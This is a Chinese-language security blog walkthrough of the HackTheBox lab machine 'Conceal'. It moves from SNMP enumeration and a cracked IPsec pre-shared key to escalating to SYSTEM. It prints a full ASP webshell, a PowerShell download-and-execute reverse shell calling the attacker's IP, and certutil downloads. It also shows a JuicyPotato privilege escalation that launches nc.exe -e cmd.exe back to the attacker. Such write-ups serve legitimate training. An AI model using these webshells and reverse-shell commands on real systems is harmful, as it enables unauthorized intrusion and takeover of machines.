freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HTB靶机渗透系列之Conceal
2022-04-12 09:37:19
所属地 浙江省

Conceal是一个困难的靶机,知识点涉及snmp默认口令、IPsec V\P\N、ftp匿名登陆、asp文件上传、烂土豆内核提权等。感兴趣的同学可以在HackTheBox中进行学习。

截屏2021-10-16 下午9.46.29
通关思维导图
Conceal

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描,但扫描结果未返回端口信息

nmap -Pn -p- -sV -sC -A 10.10.10.116 -oA nmap_Conceal

截屏2021-10-17 上午1.49.11

可能目标并未开放 tcp 端口,于是使用-sU参数扫描 udp 端口

nmap -Pn -sU -p- 10.10.10.116 -oA nmap_Conceal_1 --min-rate 1000

截屏2021-10-17 上午2.26.41

扫描结果显示开放端口为500,为 isakmp 服务。那什么是 isakmp 服务呢?

互联网安全关系钥匙管理协议(Internet Security Association and Key Management Protocol),缩写为 ISAKM或 ISAKMP。主要用于在互联网上创建安全关系与加密密钥。该协议提供了一个身份鉴权和钥匙交换的框架,主要被设计来作为密钥交换之用。如IKE(因特网钥匙交换协议)和KINK(Kerberized 因特网钥匙协议)等协议都使用了ISAKMP所提供的授权钥匙的方案。例如:因特网钥匙交换协议(IKE)使用了Oakley和SKEME协议的一部分,通过ISAKMP连接获取授权了的钥匙信息。

再次使用 nmap 对top 20的端口进行脚本扫描

nmap -Pn -sU -sC --top-ports 20 10.10.10.116 -oA nmap_Conceal_2 --min-rate 1000

截屏2021-10-17 上午2.36.53
截屏2021-10-17 上午2.37.28
截屏2021-10-17 上午2.37.59
通过扫描结果可以发现多个 udp 端口开放,其中显示包含 snmp 协议。与此同时扫描结果还显示 snmp 启用了默认密码,nmap 列举了一些 snmp 接口。

161端口

使用 snmpwalk 通过默认密码public对 snmp 进行扫描

snmpwalk -v 2c -c public 10.10.10.116

截屏2021-10-17 上午2.46.54

结果显示头部已包含IKE V\P\N password PSK的值,具体如下所示:

9C8B1A372B1878851BE2C097031B6E43

通过解密网站对该密钥值进行解密,成功解密为Dudecake1!
解密网站:https://crackstation.net/
截屏2021-10-17 上午2.57.33

使用 ike-scan 对目标所在的 IKE 进行扫描

ike-scan -M 10.10.10.116

截屏2021-10-17 上午3.00.58

扫描结果显示 IKE 版本为v1,分别使用 3DES、SHA1、modp1024 进行加密传输。身份验证使用的则是预共享密钥(PSK),在以上我们已经成功拿到其明文,说明可以使用该密钥伪造正常用户进行通信。

扩展知识

IPsec 是一套用于保护IP层流量的工具,通过两种协议来提供不同的安全保证:

  • 身份验证标头(AH),主要用于提供数据完整性(数据在发送方之间是否被修改)、数据源身份验证(源是否不是该连接所期望的),并有效防止重放攻击

  • 封装安全paylaod(ESP),提供类似功能以及保密性(中间人无法看到数据)
    安全关联(SA)则是用一组算法来动态交换密钥通过AH或ESP建立安全连接

AH 和 ESP 都可以在以下两种模式下运行:

  • 传输模式:在原始IP头部和IP负载之间插入一个ESP头部,并且在最后面加上ESP尾部和ESP验证数据部分。适用于内部网络的主机安全地访问内部服务器资源

  • 隧道模式:把原始IP数据包整个封装到一个新的IP数据包中,在新的IP头部和原始IP头部之间插入ESP头部,并且在最后面加上ESP尾部和ESP验证数据部分。适用于一个内部网络的主机要安全穿越 Internet 访问另一个内部网络的资源

1

0x02 上线[destitute]

鉴于这台主机不需要穿越穿越 Internet,所以判断它采用的模式可能为传输模式

连接IPSec

使用 strongswan 连接V\P\N,安装工具可参考如下命令

apt install strongswan

使用该工具前需要编辑配置文件/etc/ipsec.conf/etc/ipsec.secrets

参考文章:https://blog.ruanbekker.com/blog/2018/02/11/setup-a-site-to-site-ipsec-V\P\N-with-strongswan-and-preshared-key-authentication/

ipsec.secrets中写入传输预共享密钥(PSK)

# This file holds shared secrets or RSA private keys for authentication.

%any : PSK "Dudecake1!"

ipsec.conf中写入双方IP、加密模式以及模式类型等

# ipsec.conf - strongSwan IPsec configuration file

config setup
    charondebug="all"
    uniqueids=yes
    strictcrlpolicy=no
    
conn conceal
    authby=secret
    auto=route
    keyexchange=ikev1
    ike=3des-sha1-modp1024
    left=10.10.14.2
    right=10.10.10.116
    type=transport
    esp=3des-sha1
    rightprotoport=tcp

配置完成后开始连接 IPsec V\P\N

ipsec restart
ipsec up conceal

截屏2021-10-17 上午6.12.23
但是出现错误如下错误:不支持 3des_cbc
截屏2021-10-17 上午4.04.35

我们还需要安装相关插件包

apt-get install libstrongswan-standard-plugins libstrongswan-extra-plugins

截屏2021-10-17 上午4.14.12

再次启动成功连接到V\P\N
截屏2021-10-17 上午4.09.41

端口探测

连上 V\P\N 后我们需要再次使用 nmap 进行端口扫描

nmap -sT -p- -sV -sC --open --min-rate 10000 -oA nmap_Conceal_V\P\N 10.10.10.116

截屏2021-10-17 上午4.25.49
通过扫描结果可以发现目标开放了21、80、125、139以及445端口

80端口

访问后发现这是 IIS 的默认界面
截屏2021-10-17 上午4.23.24

使用 gobuster 进行目录扫描

gobuster dir -u http://10.10.10.116 -w /usr/share/wordlists/dirb/big.txt -x asp,aspx

截屏2021-10-17 上午4.56.07

访问目录/upload,但是并没有在其中发现什么东西
截屏2021-10-17 上午4.56.42

21端口

通过匿名登录漏洞可登陆 ftp,但是搜索后并没有发现可疑文件或目录

ftp 10.10.10.116
# 账号密码:anonymous/anonymous
ftp > ls

截屏2021-10-17 上午4.27.52

文件上传

尝试在 ftp 目录下上传aspx类型的木马

ftp > put /usr/share/webshells/aspx/cmdasp.aspx cmdasp.aspx

截屏2021-10-17 上午5.03.47

在网站目录upload中出现cmdasp.aspx,说明通过 ftp 可将文件上传至网页端
截屏2021-10-17 上午5.03.56

但是访问后出现404,可能上传的木马存在问题,于是使用asp类型的木马

ftp > put /usr/share/webshells/asp/cmdasp.asp cmdasp.asp

截屏2021-10-17 上午5.09.48

访问还是存在问题,可能是因为服务端对执行函数进行了检查,于是上传下面这个简单的木马

<!--
ASP Webshell
Working on latest IIS 
Referance :- 
https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.asp
http://stackoverflow.com/questions/11501044/i-need-execute-a-command-line-in-a-visual-basic-script
http://www.w3schools.com/asp/
-->


<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)
    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>


<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>

</BODY>
</HTML>

截屏2021-10-17 上午5.16.56
木马能够成功执行,但是每隔2分钟会自动删除该目录下的文件,因此我们需要通过反弹shell建立稳定的连接

反弹shell

使用 nishang 的脚本Invoke-PowerShellTcp.ps1建立反弹shell

cp ~/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 .

在脚本最后添加反弹地址和端口并上传

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 5555

开启 http 服务

python -m SimpleHTTPServer 80

在本地开启监听

nc -nvlp 5555

访问木马地址后成功反弹shell

http://10.10.10.116/upload/shell.asp?cmd=powershell%20iex(New-Object%20Net.Webclient).downloadstring(%27http://10.10.14.2/Invoke-PowerShellTcp.ps1%27)

截屏2021-10-17 上午5.24.06
在当前用户桌面上寻找第一个flag

dir c:\Users\Destitute\Desktop
type c:\Users\Destitute\Desktop\proof.txt

截屏2021-10-17 上午5.42.05
成功拿到第一个flag

0x03 权限提升[system]

查询内核漏洞

查看系统信息,发现目标操作系统为 Windows 10 Enterprise 且未安装补丁
截屏2021-10-17 上午5.26.45

使用 Windows-Exploit-Suggester 查找相关漏洞,结果显示存在许多提权漏洞

python windows-exploit-suggester.py --database 2021-05-18-mssb.xls  --systeminfo systeminfo.txt

截屏2021-10-17 上午5.28.22

烂土豆提权

选择烂土豆(Juicy Potato)进行提权

cp /root/hackthebox/Machines/Bounty/JuicyPotato.exe .
cp /root/hackthebox/Machines/Bounty/nc.exe .

在本地开启nc监听

nc -nvlp 4444

在反弹shell中执行如下命令

certutil.exe -urlcache -f http://10.10.14.2/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.2/nc.exe C:\WINDOWS\TEMP\nc.exe
C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WINDOWS\TEMP\nc.exe -e cmd.exe 10.10.14.2 4444" -t *

截屏2021-10-17 上午5.35.34

但是执行失败,查看原因后发现原来当前用户无权限进入目录C:\WINODWS\TEMP
截屏2021-10-17 上午5.36.53

尝试在当前用户的temp目录下上传文件

cd c:\Users\Destitute\appdata\local\temp
certutil.exe -urlcache -f http://10.10.14.2/JuicyPotato.exe JuicyPotato.exe
certutil.exe -urlcache -f http://10.10.14.2/nc.exe nc.exe

在将反弹shell代码写入rev.bat

echo C:\users\Destitute\appdata\local\temp\nc.exe -e cmd.exe 10.10.14.2 4444 > rev.bat

尝试指定 Windows 10 Enterprise wuauserv 服务的 CLSID 并使用烂土豆进行提权,在烂土豆项目中查询不同操作系统服务的 CLSID
参考地址:https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_10_Enterprise

JuicyPotato.exe -p C:\users\Destitute\appdata\local\temp\rev.bat -l 1340 -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

截屏2021-10-17 上午5.54.57

成功获取到系统权限
截屏2021-10-17 上午5.55.10

在管理员桌面上寻找第二个flag

dir c:\Users\Administrator\Desktop
type c:\Users\Administrator\Desktop\proof.txt

截屏2021-10-17 上午5.59.28
成功拿到第二个flag

总结:该靶机相对于之前的来说有些不同寻常,从使用UDP的snmp协议入手,通过默认口令public可查询snmp接口信息,值得庆幸的是我们在其中找到了IKE V\P\N预共享密钥,使用该密钥可连接IPsec V\P\N,连接V\P\N后再次使用nmap对靶机进行扫描,发现目标存在ftp和web服务,通过匿名登陆漏洞登陆ftp后上传文件,经过验证ftp目录其实就是站点upload目录,那么我们可通过ftp上传木马并执行反弹shell,从而拿到用户权限,由于靶机的操作系统版本为Windows 10 Enterprise,因此我们需要借助其服务的CLSID完成烂土豆提权,最终可成功将权限提至系统权限。

# HTB渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录